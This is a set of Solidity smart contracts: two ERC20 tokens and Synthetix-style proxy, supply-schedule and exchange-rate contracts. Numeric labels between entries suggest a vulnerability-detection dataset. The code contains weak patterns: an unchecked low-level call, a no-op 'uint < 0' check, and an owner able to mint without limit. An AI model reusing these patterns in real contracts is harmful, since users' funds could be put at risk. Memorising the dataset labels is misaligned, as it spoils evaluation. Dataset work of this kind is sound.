event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PBC is ERC20,Ownable{
using SafeMath for uint256;
string public constant name="polar bear(北极熊)";
string public symbol="PBC";
string public constant version = "1.0";
uint256 public constant decimals = 18;
uint256 public totalSupply;
uint256 public constant MAX_SUPPLY=uint256(1000000000)*uint256(10)**decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event GetETH(address indexed _from, uint256 _value);
function PBC(){
totalSupply=MAX_SUPPLY;
balances[msg.sender] = MAX_SUPPLY;
Transfer(0x0, msg.sender, MAX_SUPPLY);
}
function () payable external
{
GetETH(msg.sender,msg.value);
}
function etherProceeds() external
onlyOwner
{
if(!msg.sender.send(this.balance)) revert();
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(_to != address(0));
require(_to != address(this));
require(msg.sender != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance)
{
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(_from != address(0));
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool)
{
require(_value > 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
} | 1 | 4,956 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "CalidrisPowerfox";
string public constant TOKEN_SYMBOL = "CLPX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x31a21EC2f9C0EC955b2Ab2B57cFceE2d5Ed2815e;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x31a21ec2f9c0ec955b2ab2b57cfcee2d5ed2815e)];
uint[1] memory amounts = [uint(600000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,764 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract IFeePool {
address public FEE_ADDRESS;
function amountReceivedFromExchange(uint value) external view returns (uint);
function amountReceivedFromTransfer(uint value) external view returns (uint);
function feePaid(bytes4 currencyKey, uint amount) external;
function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external;
function rewardsMinted(uint amount) external;
function transferFeeIncurred(uint value) public view returns (uint);
}
contract SupplySchedule is Owned {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct ScheduleData {
uint totalSupply;
uint startPeriod;
uint endPeriod;
uint totalSupplyMinted;
}
uint public mintPeriodDuration = 1 weeks;
uint public lastMintEvent;
Synthetix public synthetix;
uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365;
uint public constant START_DATE = 1520294400;
uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1);
uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2);
uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3);
uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4);
uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5);
uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6);
uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7);
uint8 constant public INFLATION_SCHEDULES_LENGTH = 7;
ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules;
uint public minterReward = 200 * SafeDecimalMath.unit();
constructor(address _owner)
Owned(_owner)
public
{
schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit());
schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0);
schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0);
schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0);
schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0);
schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0);
schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0);
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
}
function mintableSupply()
public
view
returns (uint)
{
if (!isMintable()) {
return 0;
}
uint index = getCurrentSchedule();
uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index);
ScheduleData memory schedule = schedules[index];
uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration);
uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod);
uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod));
uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint);
return amountInPeriod.add(amountPreviousPeriod);
}
function _numWeeksRoundedDown(uint _timeDiff)
public
view
returns (uint)
{
return _timeDiff.div(mintPeriodDuration);
}
function isMintable()
public
view
returns (bool)
{
bool mintable = false;
if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod)
{
mintable = true;
}
return mintable;
}
function getCurrentSchedule()
public
view
returns (uint)
{
require(now <= schedules[6].endPeriod, "Mintable periods have ended");
for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) {
if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) {
return i;
}
}
}
function _remainingSupplyFromPreviousYear(uint currentSchedule)
internal
view
returns (uint)
{
if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) {
return 0;
}
uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted);
if (amountInPeriod < 0) {
return 0;
}
return amountInPeriod;
}
function updateMintValues()
external
onlySynthetix
returns (bool)
{
uint currentIndex = getCurrentSchedule();
uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex);
uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount);
if (lastPeriodAmount > 0) {
schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount);
}
schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount);
lastMintEvent = now;
emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now);
return true;
}
function setMinterReward(uint _amount)
external
onlyOwner
{
minterReward = _amount;
emit MinterRewardUpdated(_amount);
}
modifier onlySynthetix() {
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp);
event MinterRewardUpdated(uint newRewardAmount);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bool public priceUpdateLock = false;
bytes4[5] public xdrParticipants;
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
if (priceUpdateLock) {
priceUpdateLock = false;
}
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
